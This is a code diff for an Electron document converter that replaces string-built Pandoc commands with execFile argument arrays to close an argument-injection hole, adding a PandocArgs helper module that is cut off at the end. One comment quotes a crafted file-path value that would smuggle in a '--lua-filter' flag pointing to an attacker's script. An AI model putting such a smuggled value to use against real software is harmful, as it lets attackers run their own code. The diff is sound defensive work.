diff --git a/src/main.js b/src/main.js
index 9041dfa..3618c89 100644
--- a/src/main.js
+++ b/src/main.js
@@ -11,6 +11,7 @@ const VideoOperations = require('./main/VideoOperations');
 const { collectFilesByExtension } = require('./main/collectFilesByExtension');
 const { runPDFBatchOperation } = require('./main/PDFBatchOperations');
 const GitOperations = require('./main/GitOperations');
+const PandocArgs = require('./main/PandocArgs');
 const PdfFontHeader = require('./main/PdfFontHeader');
 const MonospaceFontConfig = require('./main/MonospaceFontConfig');
 const ExportCss = require('./main/ExportCss');
@@ -229,19 +230,16 @@ function convertDataToMarkdown(content, format) {
 }
 
 /**
- * Run a Pandoc command string safely using execFile
- * Parses the command string and uses execFile to prevent shell injection
- * @param {string} cmdString - Full Pandoc command string (e.g., 'pandoc "input.md" -o "output.pdf"')
+ * Run Pandoc with an explicit argument array via execFile.
+ * Args must be built with the PandocArgs helpers (or plain Array.push) — never
+ * assembled into a command string, so user-controlled values always reach the
+ * process as single literal argv elements (SEC-1).
+ * @param {string[]} args - Argument array (without the pandoc executable)
  * @param {Function} callback - Callback function (error, stdout, stderr)
  */
-function runPandocCmd(cmdString, callback) {
-  const parsed = parseCommand(cmdString);
-  // Skip the command element when it is pandoc (bare or a full path to the binary)
-  const commandName = path.basename(parsed.command).replace(/\.exe$/i, '');
-  const args = commandName === 'pandoc' ? parsed.args : [parsed.command, ...parsed.args];
-  const pandocPath = getPandocPath();
+function runPandocArgs(args, callback) {
   execFile(
-    pandocPath,
+    getPandocPath(),
     args,
     {
       maxBuffer: 10 * 1024 * 1024,
@@ -250,44 +248,6 @@ function runPandocCmd(cmdString, callback) {
   );
 }
 
-/**
- * Parse a command string into command and arguments array
- * This helps transition from exec() to execFile() safely
- * @param {string} cmdString - Full command string
- * @returns {{command: string, args: string[]}}
- */
-function parseCommand(cmdString) {
-  // Handle quoted strings properly
-  const parts = [];
-  let current = '';
-  let inQuotes = false;
-  let quoteChar = '';
-  for (let i = 0; i < cmdString.length; i++) {
-    const char = cmdString[i];
-    if ((char === '"' || char === "'") && !inQuotes) {
-      inQuotes = true;
-      quoteChar = char;
-    } else if (char === quoteChar && inQuotes) {
-      inQuotes = false;
-      quoteChar = '';
-    } else if (char === ' ' && !inQuotes) {
-      if (current) {
-        parts.push(current);
-        current = '';
-      }
-    } else {
-      current += char;
-    }
-  }
-  if (current) {
-    parts.push(current);
-  }
-  return {
-    command: parts[0],
-    args: parts.slice(1),
-  };
-}
-
 // Simple storage implementation to replace electron-store
 const settingsPath = path.join(app.getPath('userData'), 'settings.json');
 const store = {
@@ -2845,49 +2805,22 @@ function performExportWithOptions(format, options) {
         inputFile = tempInputFile;
       }
 
-      let pandocCmd = `${getPandocPath()} "${inputFile}" -o "${outputFile}"`;
-
-      // Add template if specified
-      if (options.template && options.template !== 'default') {
-        pandocCmd += ` --template="${options.template}"`;
-      }
-
-      // Add metadata
-      if (options.metadata) {
-        for (const [key, value] of Object.entries(options.metadata)) {
-          if (value.trim()) {
-            pandocCmd += ` -M ${key}="${value.replace(/"/g, '\\"')}"`;
-          }
-        }
-      }
-
-      // Add variables
-      if (options.variables) {
-        for (const [key, value] of Object.entries(options.variables)) {
-          if (value.trim()) {
-            pandocCmd += ` -V ${key}="${value.replace(/"/g, '\\"')}"`;
-          }
-        }
-      }
-
-      // Add other options
-      if (options.toc) pandocCmd += ' --toc';
-      if (options.tocDepth) pandocCmd += ` --toc-depth=${options.tocDepth}`;
-      if (options.numberSections) pandocCmd += ' --number-sections';
-      if (options.citeproc) pandocCmd += ' --citeproc';
-      if (options.bibliography) pandocCmd += ` --bibliography="${options.bibliography}"`;
-      if (options.csl) pandocCmd += ` --csl="${options.csl}"`;
+      // Build the argument array once with the shared export options; format
+      // branches below append their own flags. Every value lands in argv as a
+      // single literal element — never inside a command string (SEC-1).
+      const pandocArgs = PandocArgs.buildPandocArgs({ inputFile, outputFile, format, options });
 
       // Add specific options for PDF export to ensure proper generation
       if (format === 'pdf') {
-        const pdfEngine = options.pdfEngine || 'xelatex'; // Default to xelatex
-        pandocCmd += ` --pdf-engine="${pdfEngine}"`;
-        if (options.geometry) pandocCmd += ` -V geometry:"${options.geometry}"`;
+        PandocArgs.appendPdfEngineOptions(pandocArgs, {
+          pdfEngine: options.pdfEngine,
+          geometry: options.geometry,
+        });
 
         // Embed bundled monospace font so ASCII columns align in the PDF.
         const monoHeader = buildMonospaceHeaderFile();
-        pandocCmd += ` --include-in-header="${monoHeader}"`;
-        pandocCmd += ' --highlight-style=tango';
+        pandocArgs.push(`--include-in-header=${monoHeader}`);
+        pandocArgs.push('--highlight-style=tango');
 
         // Add header/footer if enabled
         if (headerFooterSettings.enabled) {
@@ -2925,12 +2858,12 @@ function performExportWithOptions(format, options) {
 `;
           const headerFile = path.join(require('os').tmpdir(), `header_export_${Date.now()}.tex`);
           fs.writeFileSync(headerFile, latexHeader, 'utf-8');
-          pandocCmd += ` --include-in-header="${headerFile}"`;
-          pandocCmd += ' --variable header-includes="\\\\usepackage{lastpage}"';
+          pandocArgs.push(`--include-in-header=${headerFile}`);
+          pandocArgs.push('--variable', 'header-includes=\\\\usepackage{lastpage}');
         }
 
-        // Try with specified PDF engine (using runPandocCmd for safety)
-        runPandocCmd(pandocCmd, (error) => {
+        // Try with the specified PDF engine, then fall back if it fails
+        runPandocArgs(pandocArgs, (error) => {
           if (error) {
             // Try fallback engines if the specified one fails
             const fallbackEngines = ['lualatex', 'pdflatex'];
@@ -2940,8 +2873,7 @@ function performExportWithOptions(format, options) {
           }
         });
       } else if (format === 'docx') {
-        pandocCmd += ' -t docx';
-        exportWithPandoc(pandocCmd, outputFile, format, async () => {
+        exportWithPandoc(pandocArgs, outputFile, format, async () => {
           // Embed the active monospace TTF into the DOCX so code blocks render in
           // JetBrains Mono / Fira Code regardless of the viewer's installed fonts.
           try {
@@ -2984,18 +2916,24 @@ function performExportWithOptions(format, options) {
             author: '',
           };
           const footerText = processDynamicFields(headerFooterSettings.footer.center, metadata);
-          pandocCmd += ` --variable footer="${footerText}"`;
+          PandocArgs.appendFooterVariable(pandocArgs, footerText);
         }
-        exportWithPandoc(pandocCmd, outputFile, format);
+        exportWithPandoc(pandocArgs, outputFile, format);
       } else if (format === 'json') {
-        pandocCmd = `${getPandocPath()} "${currentFile}" -t json -o "${outputFile}"`;
-        exportWithPandoc(pandocCmd, outputFile, format);
+        exportWithPandoc(
+          PandocArgs.buildSimpleTargetArgs(currentFile, outputFile, format),
+          outputFile,
+          format
+        );
       } else if (format === 'html') {
         // Build a complete HTML file with our bundled monospace font as embedded CSS.
         const cssFile = path.join(os.tmpdir(), `monospace-html-${Date.now()}-${process.pid}.css`);
         fs.writeFileSync(cssFile, buildMonospaceExportCss(), 'utf-8');
-        pandocCmd = `${getPandocPath()} "${inputFile}" -s --css="${cssFile}" -o "${outputFile}"`;
-        exportWithPandoc(pandocCmd, outputFile, format);
+        exportWithPandoc(
+          [inputFile, '-s', `--css=${cssFile}`, '-o', outputFile],
+          outputFile,
+          format
+        );
       } else if (format === 'yaml' || format === 'xml' || format === 'toml') {
         // For YAML/XML/TOML, save the raw markdown content with the new extension
         try {
@@ -3009,65 +2947,52 @@ function performExportWithOptions(format, options) {
           );
         }
       } else if (format === 'revealjs') {
-        let revealCmd = `${getPandocPath()} "${currentFile}" -t revealjs -s -o "${outputFile}" --slide-level=2`;
+        const revealArgs = [
+          currentFile,
+          '-t',
+          'revealjs',
+          '-s',
+          '-o',
+          outputFile,
+          '--slide-level=2',
+        ];
         if (options) {
-          if (options.revealTheme) revealCmd += ` -V theme="${options.revealTheme}"`;
-          if (options.revealTransition) revealCmd += ` -V transition="${options.revealTransition}"`;
+          if (options.revealTheme) revealArgs.push('-V', `theme=${options.revealTheme}`);
+          if (options.revealTransition)
+            revealArgs.push('-V', `transition=${options.revealTransition}`);
           if (options.revealTransitionSpeed)
-            revealCmd += ` -V transitionSpeed="${options.revealTransitionSpeed}"`;
+            revealArgs.push('-V', `transitionSpeed=${options.revealTransitionSpeed}`);
           if (options.revealControls !== undefined)
-            revealCmd += ` -V controls="${options.revealControls}"`;
+            revealArgs.push('-V', `controls=${options.revealControls}`);
           if (options.revealSlideNumber !== undefined)
-            revealCmd += ` -V slideNumber="${options.revealSlideNumber}"`;
+            revealArgs.push('-V', `slideNumber=${options.revealSlideNumber}`);
           if (options.revealProgress !== undefined)
-            revealCmd += ` -V progress="${options.revealProgress}"`;
+            revealArgs.push('-V', `progress=${options.revealProgress}`);
           if (options.revealHistory !== undefined)
-            revealCmd += ` -V history="${options.revealHistory}"`;
+            revealArgs.push('-V', `history=${options.revealHistory}`);
           if (options.revealCenter !== undefined)
-            revealCmd += ` -V center="${options.revealCenter}"`;
+            revealArgs.push('-V', `center=${options.revealCenter}`);
 
-          // Support for templates, metadata, bibliography
-          if (options.template && options.template !== 'default') {
-            revealCmd += ` --template="${options.template}"`;
-          }
-          if (options.metadata) {
-            for (const [key, value] of Object.entries(options.metadata)) {
-              if (value.trim()) {
-                revealCmd += ` -M ${key}="${value.replace(/"/g, '\\"')}"`;
-              }
-            }
-          }
-          if (options.bibliography) revealCmd += ` --bibliography="${options.bibliography}"`;
-          if (options.csl) revealCmd += ` --csl="${options.csl}"`;
+          // Support for templates, metadata, bibliography (only these dialog
+          // options were applied to reveal.js exports before the args-array
+          // conversion — keep that exact behavior)
+          PandocArgs.appendCommonOptions(revealArgs, {
+            template: options.template,
+            metadata: options.metadata,
+            bibliography: options.bibliography,
+            csl: options.csl,
+          });
         }
-        exportWithPandoc(revealCmd, outputFile, format);
-      } else if (format === 'beamer') {
-        pandocCmd = `${getPandocPath()} "${currentFile}" -t beamer -o "${outputFile}"`;
-        exportWithPandoc(pandocCmd, outputFile, format);
-      } else if (format === 'confluence' || format === 'jira') {
-        pandocCmd = `${getPandocPath()} "${currentFile}" -t jira -o "${outputFile}"`;
-        exportWithPandoc(pandocCmd, outputFile, format);
-      } else if (format === 'asciidoc') {
-        pandocCmd = `${getPandocPath()} "${currentFile}" -t asciidoc -o "${outputFile}"`;
-        exportWithPandoc(pandocCmd, outputFile, format);
-      } else if (format === 'rst') {
-        pandocCmd = `${getPandocPath()} "${currentFile}" -t rst -o "${outputFile}"`;
-        exportWithPandoc(pandocCmd, outputFile, format);
-      } else if (format === 'mediawiki') {
-        pandocCmd = `${getPandocPath()} "${currentFile}" -t mediawiki -o "${outputFile}"`;
-        exportWithPandoc(pandocCmd, outputFile, format);
-      } else if (format === 'org') {
-        pandocCmd = `${getPandocPath()} "${currentFile}" -t org -o "${outputFile}"`;
-        exportWithPandoc(pandocCmd, outputFile, format);
-      } else if (format === 'textile') {
-        pandocCmd = `${getPandocPath()} "${currentFile}" -t textile -o "${outputFile}"`;
-        exportWithPandoc(pandocCmd, outputFile, format);
-      } else if (format === 'man') {
-        pandocCmd = `${getPandocPath()} "${currentFile}" -t man -o "${outputFile}"`;
-        exportWithPandoc(pandocCmd, outputFile, format);
-      } else if (format === 'ipynb') {
-        pandocCmd = `${getPandocPath()} "${currentFile}" -t ipynb -o "${outputFile}"`;
-        exportWithPandoc(pandocCmd, outputFile, format);
+        exportWithPandoc(revealArgs, outputFile, format);
+      } else if (PandocArgs.SIMPLE_TARGET_FORMATS[format]) {
+        // json, beamer, jira/confluence and the plain text/markup formats all
+        // export through a bare `-t <target>` conversion (dialog options are
+        // not applied to these formats).
+        exportWithPandoc(
+          PandocArgs.buildSimpleTargetArgs(currentFile, outputFile, format),
+          outputFile,
+          format
+        );
       } else if (format === 'epub') {
         // Embed the active monospace TTF into EPUB so code blocks render in
         // JetBrains Mono / Fira Code regardless of the reader's installed fonts.
@@ -3076,10 +3001,10 @@ function performExportWithOptions(format, options) {
           const regular = MonospaceFontConfig.getMonoFontTtfPath(familyKey, 400);
           const bold = MonospaceFontConfig.getMonoFontTtfPath(familyKey, 700);
           [regular, bold].filter(Boolean).forEach((p) => {
-            pandocCmd += ` --epub-embed-font="${p}"`;
+            pandocArgs.push(`--epub-embed-font=${p}`);
           });
         }
-        runPandocCmd(pandocCmd, async (error) => {
+        runPandocArgs(pandocArgs, async (error) => {
           if (error) {
             dialog.showErrorBox(
               'Export Error',
@@ -3117,8 +3042,7 @@ function performExportWithOptions(format, options) {
       } else if (format === 'mobi') {
         // First export to EPUB, then try ebook-convert if available
         const epubFile = outputFile.replace(/\.mobi$/i, '.epub');
-        pandocCmd = `${getPandocPath()} "${currentFile}" -o "${epubFile}"`;
-        runPandocCmd(pandocCmd, (error) => {
+        runPandocArgs([currentFile, '-o', epubFile], (error) => {
           if (error) {
             dialog.showErrorBox(
               'Export Error',
@@ -3148,7 +3072,7 @@ function performExportWithOptions(format, options) {
         });
       } else {
         // Generic export for other formats
-        exportWithPandoc(pandocCmd, outputFile, format);
+        exportWithPandoc(pandocArgs, outputFile, format);
       }
     })
     .catch((error) => {
@@ -3167,16 +3091,17 @@ function tryPdfFallback(inputFile, outputFile, engines, index, options, _lastErr
     return;
   }
   const engine = engines[index];
-  let pandocCmd = `${getPandocPath()} "${inputFile}" --pdf-engine=${engine} -o "${outputFile}"`;
+  const pandocArgs = [inputFile, `--pdf-engine=${engine}`, '-o', outputFile];
 
   // Embed bundled monospace font so ASCII columns align in the PDF.
   const monoHeader = buildMonospaceHeaderFile();
-  pandocCmd += ` --include-in-header="${monoHeader}"`;
-  pandocCmd += ' --highlight-style=tango';
+  pandocArgs.push(`--include-in-header=${monoHeader}`);
+  pandocArgs.push('--highlight-style=tango');
 
-  // Add geometry if specified
-  if (options.geometry)
-    pandocCmd = pandocCmd.replace(` -o `, ` -V geometry:"${options.geometry}" -o `);
+  // Add geometry if specified (the engine flag is already set above)
+  if (options.geometry) {
+    pandocArgs.push('-V', `geometry:${options.geometry}`);
+  }
 
   // Add header/footer if enabled
   if (headerFooterSettings.enabled) {
@@ -3213,23 +3138,17 @@ function tryPdfFallback(inputFile, outputFile, engines, index, options, _lastErr
 `;
     const headerFile = path.join(require('os').tmpdir(), `header_fallback_${Date.now()}.tex`);
     fs.writeFileSync(headerFile, latexHeader, 'utf-8');
-    pandocCmd += ` --include-in-header="${headerFile}"`;
+    pandocArgs.push(`--include-in-header=${headerFile}`);
   }
 
-  // Add all other options
-  if (options.template && options.template !== 'default') {
-    pandocCmd += ` --template="${options.template}"`;
-  }
-  if (options.metadata) {
-    for (const [key, value] of Object.entries(options.metadata)) {
-      if (value.trim()) {
-        pandocCmd += ` -M ${key}="${value.replace(/"/g, '\\"')}"`;
-      }
-    }
-  }
+  // Add all other options (this fallback path historically applied only the
+  // template and metadata options — keep that exact behavior)
+  PandocArgs.appendCommonOptions(pandocArgs, {
+    template: options.template,
+    metadata: options.metadata,
+  });
 
-  // Use runPandocCmd for safety (prevents command injection)
-  runPandocCmd(pandocCmd, (error) => {
+  runPandocArgs(pandocArgs, (error) => {
     if (error) {
       tryPdfFallback(inputFile, outputFile, engines, index + 1, options, error);
     } else {
@@ -3246,9 +3165,10 @@ function showExportSuccess(outputFile) {
   });
 }
 
-// Helper function to export with pandoc (general) - uses runPandocCmd for safety
-function exportWithPandoc(pandocCmd, outputFile, format, onComplete) {
-  runPandocCmd(pandocCmd, async (error, stdout, stderr) => {
+// Helper function to export with pandoc (general) - runs pandoc with an
+// argument array (values are passed to execFile as literal argv elements)
+function exportWithPandoc(pandocArgs, outputFile, format, onComplete) {
+  runPandocArgs(pandocArgs, async (error, stdout, stderr) => {
     if (error) {
       console.error(`Pandoc error for ${format}:`, error);
       console.error(`Pandoc stderr:`, stderr);
@@ -3264,7 +3184,7 @@ function exportWithPandoc(pandocCmd, outputFile, format, onComplete) {
       } else {
         errorMessage += `\n\nError details: ${error.message}`;
       }
-      errorMessage += `\n\nCommand used: ${pandocCmd}`;
+      errorMessage += `\n\nCommand used: pandoc ${pandocArgs.join(' ')}`;
       dialog.showErrorBox('Export Error', sanitizeErrorMessage(errorMessage));
     } else {
       if (stderr) {
@@ -3647,21 +3567,21 @@ function importDocument() {
     const outputFile = inputFile.replace(/\.[^/.]+$/, '.md');
 
     // Determine format-specific conversion options
-    let additionalOptions = '';
+    let additionalOptions = [];
 
     // For PDFs, extract text properly
     if (ext === 'pdf') {
-      additionalOptions = '--pdf-engine=xelatex';
+      additionalOptions = ['--pdf-engine=xelatex'];
     }
 
     // For CSV/TSV, convert as tables
     if (ext === 'csv' || ext === 'tsv') {
-      additionalOptions = '--from=csv -t markdown';
+      additionalOptions = ['--from=csv', '-t', 'markdown'];
     }
 
     // For JSON, handle structure
     if (ext === 'json') {
-      additionalOptions = '--from=json -t markdown';
+      additionalOptions = ['--from=json', '-t', 'markdown'];
     }
 
     // For YAML, XML, TOML - wrap content in code blocks directly
@@ -3684,9 +3604,10 @@ function importDocument() {
       return;
     }
 
-    // Convert to markdown using pandoc (using runPandocCmd for safety)
-    const pandocCmd = `${getPandocPath()} "${inputFile}" -t markdown ${additionalOptions} -o "${outputFile}"`;
-    runPandocCmd(pandocCmd, (error, _stdout, _stderr) => {
+    // Convert to markdown using pandoc with an argument array (input and
+    // output paths are passed as single literal argv elements)
+    const pandocArgs = [inputFile, '-t', 'markdown', ...additionalOptions, '-o', outputFile];
+    runPandocArgs(pandocArgs, (error, _stdout, _stderr) => {
       if (error) {
         dialog.showErrorBox(
           'Import Error',
@@ -4181,48 +4102,25 @@ async function performBatchConversion(
       }
     }
 
-    let pandocCmd = `${getPandocPath()} "${pandocInputFile}" -o "${outputFile}"`;
-
-    // Add template if specified
-    if (options.template && options.template !== 'default') {
-      pandocCmd += ` --template="${options.template}"`;
-    }
-
-    // Add metadata
-    if (options.metadata) {
-      for (const [key, value] of Object.entries(options.metadata)) {
-        if (value.trim()) {
-          pandocCmd += ` -M ${key}="${value.replace(/"/g, '\\"')}"`;
-        }
-      }
-    }
-
-    // Add variables
-    if (options.variables) {
-      for (const [key, value] of Object.entries(options.variables)) {
-        if (value.trim()) {
-          pandocCmd += ` -V ${key}="${value.replace(/"/g, '\\"')}"`;
-        }
-      }
-    }
-
-    // Add other options
-    if (options.toc) pandocCmd += ' --toc';
-    if (options.tocDepth) pandocCmd += ` --toc-depth=${options.tocDepth}`;
-    if (options.numberSections) pandocCmd += ' --number-sections';
-    if (options.citeproc) pandocCmd += ' --citeproc';
-    if (options.bibliography) pandocCmd += ` --bibliography="${options.bibliography}"`;
-    if (options.csl) pandocCmd += ` --csl="${options.csl}"`;
+    // Build the argument array with the shared export options (values are
+    // passed to execFile as single literal argv elements — SEC-1)
+    const pandocArgs = PandocArgs.buildPandocArgs({
+      inputFile: pandocInputFile,
+      outputFile,
+      format,
+      options,
+    });
 
     // Add PDF-specific options with header/footer support
     if (format === 'pdf') {
-      const pdfEngine = options.pdfEngine || 'xelatex';
-      pandocCmd += ` --pdf-engine=${pdfEngine}`;
-      if (options.geometry) pandocCmd += ` -V geometry:"${options.geometry}"`;
+      PandocArgs.appendPdfEngineOptions(pandocArgs, {
+        pdfEngine: options.pdfEngine,
+        geometry: options.geometry,
+      });
 
       // Add monospace font settings for code blocks (ASCII art preservation)
-      pandocCmd += ' -V monofont="Consolas"';
-      pandocCmd += ' --highlight-style=tango';
+      pandocArgs.push('-V', 'monofont=Consolas');
+      pandocArgs.push('--highlight-style=tango');
 
       // Add header/footer if enabled
       if (headerFooterSettings.enabled) {
@@ -4258,16 +4156,11 @@ async function performBatchConversion(
 `;
         const headerFile = path.join(require('os').tmpdir(), `header_batch_${Date.now()}.tex`);
         fs.writeFileSync(headerFile, latexHeader, 'utf-8');
-        pandocCmd += ` --include-in-header="${headerFile}"`;
-        pandocCmd += ' --variable header-includes="\\\\usepackage{lastpage}"';
+        pandocArgs.push(`--include-in-header=${headerFile}`);
+        pandocArgs.push('--variable', 'header-includes=\\\\usepackage{lastpage}');
       }
     }
 
-    // Add DOCX-specific handling
-    if (format === 'docx') {
-      pandocCmd += ' -t docx';
-    }
-
     // Add PowerPoint footer if enabled
     if (format === 'pptx' && headerFooterSettings.enabled && headerFooterSettings.footer.center) {
       const filename = path.basename(inputFile, path.extname(inputFile));
@@ -4277,11 +4170,11 @@ async function performBatchConversion(
         author: '',
       };
       const footerText = processDynamicFields(headerFooterSettings.footer.center, metadata);
-      pandocCmd += ` --variable footer="${footerText}"`;
+      PandocArgs.appendFooterVariable(pandocArgs, footerText);
     }
 
-    // Execute conversion (using runPandocCmd for safety)
-    runPandocCmd(pandocCmd, async (error, _stdout, stderr) => {
+    // Execute conversion with the argument array
+    runPandocArgs(pandocArgs, async (error, _stdout, stderr) => {
       // Clean up temporary pre-processed input file and directory
       if (batchTempInputFile) {
         try {
@@ -4438,9 +4331,9 @@ function performCLIConversion(inputPath, format) {
   try {
     const content = fs.readFileSync(inputPath, 'utf-8');
     const outputPath = inputPath.replace(/\.[^/.]+$/, `.${format}`);
-    // Use existing export functions but with CLI output (using runPandocCmd for safety)
-    const pandocCommand = buildPandocCommand(content, format, outputPath);
-    runPandocCmd(pandocCommand, (error, stdout, stderr) => {
+    // Convert with an argument array (input/output paths are single argv elements)
+    const pandocArgs = buildCLIConversionArgs(content, format, outputPath);
+    runPandocArgs(pandocArgs, (error, stdout, stderr) => {
       if (error) {
         console.error(`Conversion failed: ${error.message}`);
         if (stderr) console.error(`Details: ${stderr}`);
@@ -4467,11 +4360,12 @@ function performCLIConversion(inputPath, format) {
   }
 }
 
-// Build Pandoc command for CLI conversion
-function buildPandocCommand(content, format, outputPath) {
+// Build pandoc argument array for CLI conversion (temp input file plus
+// format-specific flags; every value is a single literal argv element)
+function buildCLIConversionArgs(content, format, outputPath) {
   const inputFile = path.join(require('os').tmpdir(), `panconverter_temp_${Date.now()}.md`);
   fs.writeFileSync(inputFile, content, 'utf-8');
-  let command = `pandoc "${inputFile}" -o "${outputPath}"`;
+  let args = [inputFile, '-o', outputPath];
 
   // Get metadata for dynamic fields
   const filename = currentFile ? path.basename(currentFile, path.extname(currentFile)) : 'document';
@@ -4482,26 +4376,26 @@ function buildPandocCommand(content, format, outputPath) {
   };
   switch (format) {
     case 'pdf':
-      command += ' --pdf-engine=xelatex --variable geometry:margin=1in';
+      args.push('--pdf-engine=xelatex', '-V', 'geometry:margin=1in');
 
       // Add page size and orientation
       const pageSize = PAGE_SIZES[pageSettings.size];
       if (pageSize) {
-        command += ` -V geometry:papersize=${pageSize.pandoc}`;
+        args.push('-V', `geometry:papersize=${pageSize.pandoc}`);
       } else if (pageSettings.customWidth && pageSettings.customHeight) {
         // Custom page size
-        command += ` -V geometry:paperwidth=${pageSettings.customWidth}`;
-        command += ` -V geometry:paperheight=${pageSettings.customHeight}`;
+        args.push('-V', `geometry:paperwidth=${pageSettings.customWidth}`);
+        args.push('-V', `geometry:paperheight=${pageSettings.customHeight}`);
       }
 
       // Add orientation
       if (pageSettings.orientation === 'landscape') {
-        command += ' -V geometry:landscape';
+        args.push('-V', 'geometry:landscape');
       }
 
       // Add monospace font settings for code blocks (ASCII art preservation)
-      command += ' -V monofont="Consolas"';
-      command += ' --highlight-style=tango';
+      args.push('-V', 'monofont=Consolas');
+      args.push('--highlight-style=tango');
 
       // Add header/footer if enabled
       if (headerFooterSettings.enabled) {
@@ -4514,12 +4408,12 @@ function buildPandocCommand(content, format, outputPath) {
         const footerRight = processDynamicFields(headerFooterSettings.footer.right, metadata);
 
         // Add Pandoc variables for fancyhdr package
-        if (headerLeft) command += ` --variable header-left="${headerLeft}"`;
-        if (headerCenter) command += ` --variable header-center="${headerCenter}"`;
-        if (headerRight) command += ` --variable header-right="${headerRight}"`;
-        if (footerLeft) command += ` --variable footer-left="${footerLeft}"`;
-        if (footerCenter) command += ` --variable footer-center="${footerCenter}"`;
-        if (footerRight) command += ` --variable footer-right="${footerRight}"`;
+        if (headerLeft) args.push('--variable', `header-left=${headerLeft}`);
+        if (headerCenter) args.push('--variable', `header-center=${headerCenter}`);
+        if (headerRight) args.push('--variable', `header-right=${headerRight}`);
+        if (footerLeft) args.push('--variable', `footer-left=${footerLeft}`);
+        if (footerCenter) args.push('--variable', `footer-center=${footerCenter}`);
+        if (footerRight) args.push('--variable', `footer-right=${footerRight}`);
 
         // Create custom LaTeX header with fancyhdr
         const latexHeader = `
@@ -4540,17 +4434,17 @@ function buildPandocCommand(content, format, outputPath) {
 `;
         const headerFile = path.join(require('os').tmpdir(), `header_${Date.now()}.tex`);
         fs.writeFileSync(headerFile, latexHeader, 'utf-8');
-        command += ` --include-in-header="${headerFile}"`;
+        args.push(`--include-in-header=${headerFile}`);
 
         // Add lastpage package for $TOTAL$ support
-        command += ' --variable header-includes="\\\\usepackage{lastpage}"';
+        args.push('--variable', 'header-includes=\\\\usepackage{lastpage}');
       }
       break;
     case 'html':
-      command += ' --self-contained --css';
+      args.push('--self-contained', '--css');
       break;
     case 'docx':
-      command += ' --reference-doc';
+      args.push('--reference-doc');
 
       // For DOCX, header/footer are handled via reference document or separate processing
       // We'll add a note that DOCX headers/footers require reference doc or post-processing
@@ -4559,41 +4453,41 @@ function buildPandocCommand(content, format, outputPath) {
       // ODT headers/footers are handled via reference document
       break;
     case 'latex':
-      command += ' --standalone';
+      args.push('--standalone');
       break;
     case 'pptx':
-      command += ' --slide-level=2';
+      args.push('--slide-level=2');
       // PowerPoint footer can be added with --variable
       if (headerFooterSettings.enabled && headerFooterSettings.footer.center) {
         const footerText = processDynamicFields(headerFooterSettings.footer.center, metadata);
-        command += ` --variable footer="${footerText}"`;
+        PandocArgs.appendFooterVariable(args, footerText);
       }
       break;
     case 'json':
-      command = `pandoc "${inputFile}" -t json -o "${outputPath}"`;
+      args = [inputFile, '-t', 'json', '-o', outputPath];
       break;
     case 'yaml':
-      command = `pandoc "${inputFile}" -t markdown -o "${outputPath}"`;
+      args = [inputFile, '-t', 'markdown', '-o', outputPath];
       break;
     case 'xml':
-      command = `pandoc "${inputFile}" -t jats -o "${outputPath}"`;
+      args = [inputFile, '-t', 'jats', '-o', outputPath];
       break;
     case 'toml':
       // TOML: save raw markdown content with .toml extension
-      command = `pandoc "${inputFile}" -t markdown -o "${outputPath}"`;
+      args = [inputFile, '-t', 'markdown', '-o', outputPath];
       break;
     case 'revealjs':
-      command = `pandoc "${inputFile}" -t revealjs -s -o "${outputPath}" --slide-level=2`;
+      args = [inputFile, '-t', 'revealjs', '-s', '-o', outputPath, '--slide-level=2'];
       break;
     case 'beamer':
-      command = `pandoc "${inputFile}" -t beamer -o "${outputPath}"`;
+      args = [inputFile, '-t', 'beamer', '-o', outputPath];
       break;
     case 'confluence':
     case 'jira':
-      command = `pandoc "${inputFile}" -t jira -o "${outputPath}"`;
+      args = [inputFile, '-t', 'jira', '-o', outputPath];
       break;
   }
-  return command;
+  return args;
 }
 app.whenReady().then(() => {
   // Load saved Word template path and settings
diff --git a/src/main/PandocArgs.js b/src/main/PandocArgs.js
new file mode 100644
index 0000000..11ea2b7
--- /dev/null
+++ b/src/main/PandocArgs.js
@@ -0,0 +1,135 @@
+/**
+ * Pure builders for Pandoc execFile argument arrays.
+ *
+ * Every Pandoc invocation in the main process must call
+ * execFile(pandocPath, args) with an argument array built here or with plain
+ * Array.push calls — never a command string that is later re-tokenized.
+ * Values that come from the user (file paths, template names, metadata values)
+ * are pushed verbatim as single argv elements, so a crafted value such as
+ * `/tmp/x.bib" --lua-filter=/tmp/evil.lua` can never break out of its argument
+ * and inject additional Pandoc flags (security finding SEC-1).
+ */
+
+/**
+ * Formats exported through a plain `-t <target>` conversion. The export dialog
+ * replaces the whole command for these formats (dialog options like template or
+ * metadata are not applied) — this map preserves that pre-existing behavior.
+ */
+const SIMPLE_TARGET_FORMATS = {
+  json: 'json',
+  beamer: 'beamer',
+  confluence: 'jira',
+  jira: 'jira',
+  asciidoc: 'asciidoc',
+  rst: 'rst',
+  mediawiki: 'mediawiki',
+  org: 'org',
+  textile: 'textile',
+  man: 'man',
+  ipynb: 'ipynb',
+};
+
+/**
+ * Append the export-dialog options shared by the export, batch-conversion and
+ * fallback paths. Each value lands in argv exactly once, unquoted and
+ * unescaped — execFile passes array elements as literal arguments.
+ * @param {string[]} args - Argument array to append to (mutated)
+ * @param {Object} options - Export options ({ template, metadata, variables,
+ *   toc, tocDepth, numberSections, citeproc, bibliography, csl })
+ */
+function appendCommonOptions(args, options) {
+  if (!options) return;
+
+  if (options.template && options.template !== 'default') {
+    args.push(`--template=${options.template}`);
+  }
+
+  if (options.metadata) {
+    for (const [key, value] of Object.entries(options.metadata)) {
+      if (value.trim()) {
+        args.push('-M', `${key}=${value}`);
+      }
+    }
+  }
+
+  if (options.variables) {
+    for (const [key, value] of Object.entries(options.variables)) {
+      if (value.trim()) {
+        args.push('-V', `${key}=${value}`);
+      }
+    }
+  }
+
+  if (options.toc) args.push('--toc');
+  if (options.tocDepth) args.push(`--toc-depth=${options.tocDepth}`);
+  if (options.numberSections) args.push('--number-sections');
+  if (options.citeproc) args.push('--citeproc');
+  if (options.bibliography) args.push(`--bibliography=${options.bibliography}`);
+  if (options.csl) args.push(`--csl=${options.csl}`);
+}
+
+/**
+ * Append the shared prefix of every PDF invocation: the pdf engine flag and,
+ * when set, the page geometry variable.
+ * @param {string[]} args - Argument array to append to (mutated)
+ * @param {Object} params
+ * @param {string} [params.pdfEngine] - Falls back to xelatex when omitted
+ * @param {string} [params.geometry] - LaTeX geometry string (e.g. margin=1in)
+ */
+function appendPdfEngineOptions(args, { pdfEngine, geometry } = {}) {
+  args.push(`--pdf-engine=${pdfEngine || 'xelatex'}`);
+  if (geometry) args.push('-V', `geometry:${geometry}`);
+}
+
+/**
+ * Append the PowerPoint footer variable (used when header/footer is enabled).
+ * @param {string[]} args - Argument array to append to (mutated)
+ * @param {string} footerText - Processed footer text
+ */
+function appendFooterVariable(args, footerText) {
